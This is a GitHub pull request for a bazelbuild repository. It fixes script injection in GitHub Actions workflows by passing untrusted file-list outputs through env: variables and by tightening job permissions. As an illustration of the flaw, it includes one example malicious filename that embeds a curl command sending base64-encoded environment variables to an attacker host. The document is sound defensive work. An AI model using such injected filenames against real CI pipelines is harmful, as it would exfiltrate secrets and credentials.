Skip to content

fix(terraform): prevent script injection via env var isolation#2679

Open
herdiyana256 wants to merge 1 commit into
bazelbuild:masterfrom
herdiyana256:fix/terraform-script-injection
Open

fix(terraform): prevent script injection via env var isolation#2679
herdiyana256 wants to merge 1 commit into
bazelbuild:masterfrom
herdiyana256:fix/terraform-script-injection

Conversation

@herdiyana256

@herdiyana256 herdiyana256 commented Jun 16, 2026

Copy link
Copy Markdown

Summary

Audit of .github/workflows/ identified two files where GitHub Actions expressions (${{ }}) are interpolated directly into bash run: scripts. This is the script injection class documented by GitHub Security Lab.

This PR applies the recommended mitigation across all affected steps:
pass expression values through env: block variables instead of inline interpolation. When assigned via env:, the value is treated as a plain string by the shell — metacharacters are never evaluated as commands.


Files Changed

1. .github/workflows/terraform.ymlCritical (3 fixes)

Fix 1 - Env var isolation for tj-actions/changed-files outputs

The Extract Orgs step interpolated action outputs directly into bash:

# BEFORE (vulnerable):
run: |
  CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
  DELETED="${{ steps.changed-files.outputs.deleted_files }}"
tj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d=$(env|base64)) would be evaluated as a shell command by bash.

# AFTER (safe):
env:
  ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
  ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
run: |
  CHANGED="$ALL_CHANGED_FILES"
  DELETED="$ALL_DELETED_FILES"

Fix 2 - Scope id-token: write to terraform job only
id-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.
# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC
permissions:
  contents: read
  id-token: write
  pull-requests: write

# AFTER: workflow-level has minimum permissions
permissions:
  contents: read
  pull-requests: write

terraform:
  permissions:
    contents: read
    id-token: write  # ← only this job needs GCP WIF

Fix 3 - Fork PR protection on terraform job
Added an explicit if condition to prevent fork PRs from triggering the terraform job (which has access to GCP_SA_KEY and BUILDKITE_API_TOKEN):
if: |
  needs.detect-changes.outputs.orgs != '[]' &&
  (github.event_name == 'push' ||
   github.event.pull_request.head.repo.full_name == github.repository)
2. .github/workflows/release-rules.yml — Low (2 fixes)
Two inline ${{ }} expressions in run: blocks replaced with env vars:
- ${{ env.RULES_VERSION }} in the version echo step
- ${{ needs.create-release.outputs.rules_version }} in the staging dir name

References
- https://securitylab.github.com/research/github-actions-untrusted-input/
- go/github-security

@google-cla

google-cla Bot commented Jun 16, 2026

Copy link
Copy Markdown

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).

View this failed invocation of the CLA check for more information.

For the most up to date status, view the checks section at the bottom of the pull request.

@herdiyana256 herdiyana256 force-pushed the fix/terraform-script-injection branch from 4885908 to 9c823e5 Compare June 16, 2026 15:50
Pass tj-actions/changed-files outputs through env: block variables
instead of inline ${{ }} interpolation in bash run: scripts.

GitHub Actions evaluates ${{ }} expressions before shell execution.
When outputs contain shell metacharacters (e.g. $(...), `...`),
bash evaluates them as commands - a script injection vulnerability.

Vulnerable pattern:
  run: |
    CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"

Fixed pattern:
  env:
    ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
  run: |
    CHANGED="$ALL_CHANGED_FILES"

When passed via env:, the ${{ }} expression is assigned as a plain
string to the environment variable before the shell starts. The shell
never evaluates metacharacters in the value.

Ref: https://securitylab.github.com/research/github-actions-untrusted-input/
Ref: go/github-security
@herdiyana256 herdiyana256 force-pushed the fix/terraform-script-injection branch from 9c823e5 to bd76501 Compare June 16, 2026 15:51
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant